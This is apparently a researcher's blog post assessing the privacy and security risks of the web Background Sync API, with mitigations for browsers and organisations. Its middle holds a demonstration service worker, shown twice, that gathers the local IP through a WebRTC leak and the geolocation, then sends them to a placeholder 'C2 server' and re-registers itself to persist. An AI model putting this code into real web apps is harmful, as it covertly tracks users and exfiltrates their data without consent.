The Background Sync API (alternatively, periodic) enables web apps to defer tasks until the user has a stable connection. It may be useful for apps processing data offline. It introduces curious capabilities in web platforms, so it's important to understand the security and privacy footprint. Here I explore those risks and demonstrate how to use the API to send device data and information payloads to remote servers. Additional observation considers the ability to exfiltrate information from segmented networks. In other words, let's make a web privacy impact assessment. This time with important considerations for security. Tackling such risks becomes a paramount due to the dramatic changes in regulatory environment, particularly the EU NIS2 Directive and Directive on digital operational resilience, now in force which demands for an internal governance and control framework that ensures an effective and prudent management of ICT risk, and comprehensive and well-documented ICT risk management framework, as well as to have in place mechanisms to detect anomalous activities. This considers network security, BYOD risk, but also corporate web browser configuration.
Privacy, data protection
The API may also introduce risks of privacy leaks, such as exposing location data, local IP addresses, or even profiling users over time by syncing collected data to a remote server. That's the user data protection issue (i.e. regulatory GDPR, ePrivacy angles). To a degree, it's another flavor of other past potential data exfiltration or leak risks like those in light sensor, or vibration, or maybe battery level.
Let's do a simulated mock-up demonstration.
self.addEventListener('sync', event => {
if (event.tag === 'pingTag') {
event.waitUntil(
collectDataAndSync().then(() => reRegisterSync())
);
}
});
async function collectDataAndSync() {
const data = {
localIP: await getLocalIPAddress(),
geo: await getCurrentPosition(),
motion: { x: 0, y: 0, z: 0 } // Mock motion sensor
};
//sending to C2 server
return fetch('https://example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}
function reRegisterSync() {
return self.registration.sync.register('pingTag');
}
function getLocalIPAddress() {
return new Promise(resolve => {
const pc = new RTCPeerConnection();
pc.createDataChannel('');
pc.onicecandidate = e => {
if (e.candidate) {
resolve(e.candidate.candidate.split(' ')[4]);
pc.close();
}
};
pc.createOffer().then(sdp => pc.setLocalDescription(sdp));
});
}
//unless IP suffices
function getCurrentPosition() {
return new Promise((resolve, reject) =>
navigator.geolocation.getCurrentPosition(resolve, reject)
);
}
//or using the Periodic sync
self.addEventListener('periodicsync', event => {
if (event.tag === 'periodicPing') {
event.waitUntil(collectDataAndSync());
}
});
async function collectDataAndSync() {
const data = {
localIP: await getLocalIPAddress(),
geo: await getCurrentPosition(),
motion: { x: 0, y: 0, z: 0 } // Mock motion sensor
};
return fetch('https://example.com/data', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}
function getLocalIPAddress() {
return new Promise(resolve => {
const pc = new RTCPeerConnection();
pc.createDataChannel('');
pc.onicecandidate = e => {
if (e.candidate) {
resolve(e.candidate.candidate.split(' ')[4]);
pc.close();
}
};
pc.createOffer().then(sdp => pc.setLocalDescription(sdp));
});
}
function getCurrentPosition() {
return new Promise((resolve, reject) =>
navigator.geolocation.getCurrentPosition(resolve, reject)
);
}
Use in Data Exfiltration
A related but distinct risk lies in security breaches. For example, in a segmented or isolated network, an attacker-controlled browser with (somehow) infected code logic in a browser tab could join the network (BYOD-like setting). The malicious logic may perform reconnaissance (fortunately it's no longer possible to run a port scan from a web browser on a local network), information discovery, or theft. When the device reconnects to a public network, the stolen information is exfiltrated to a command-and-control (C2) server via the Background Sync API. This method could be exploited in APT-like setups, or simply in red-teaming activities to leak sensitive network information.
Continuous re-registration of sync events also allows apps to store sensitive data locally (e.g., in web browser storage) and exfiltrate it in the background once connectivity is restored, potentially without user awareness. This mechanism could be abused to create a persistent infection, enabling malicious apps to silently collect and exfiltrate data over long periods, even after the user has navigated away or closed the app.
Summary
Detecting patterns of misuse or enforcing stricter limits on re-registration could help address risks. The specification recommends mitigating steps like limiting the number of retries and the duration of sync events (spec). If implemented, the mitigation strategy could limit the risk of abuse, but perhaps not solve it entirely. An alternative approach could be to prune any deferred tasks when changing networks (but this could negatively impact the rationale of having this API at all)
Additionally, granting users better visibility into background activities and offering fine-grained permissions for background tasks would strengthen privacy protections. Transitioning to one-shot events could also mitigate risks but would require broader browser support to become viable.
Organizations could mitigate risks by disabling the Background Sync API entirely if deemed too risky, following a thorough risk assessment that evaluates its impact on security and functionality. Alternatively, access to the API could be restricted to specific trusted web apps or domains, effectively limiting potential misuse.
So far the API has no broad support, but it's implemented in Chrome. Anyway, Mozilla is skeptical.
Comments, queries, or maybe offers? Contact me at me@lukaszolejnik.com, I’m seeking engagements.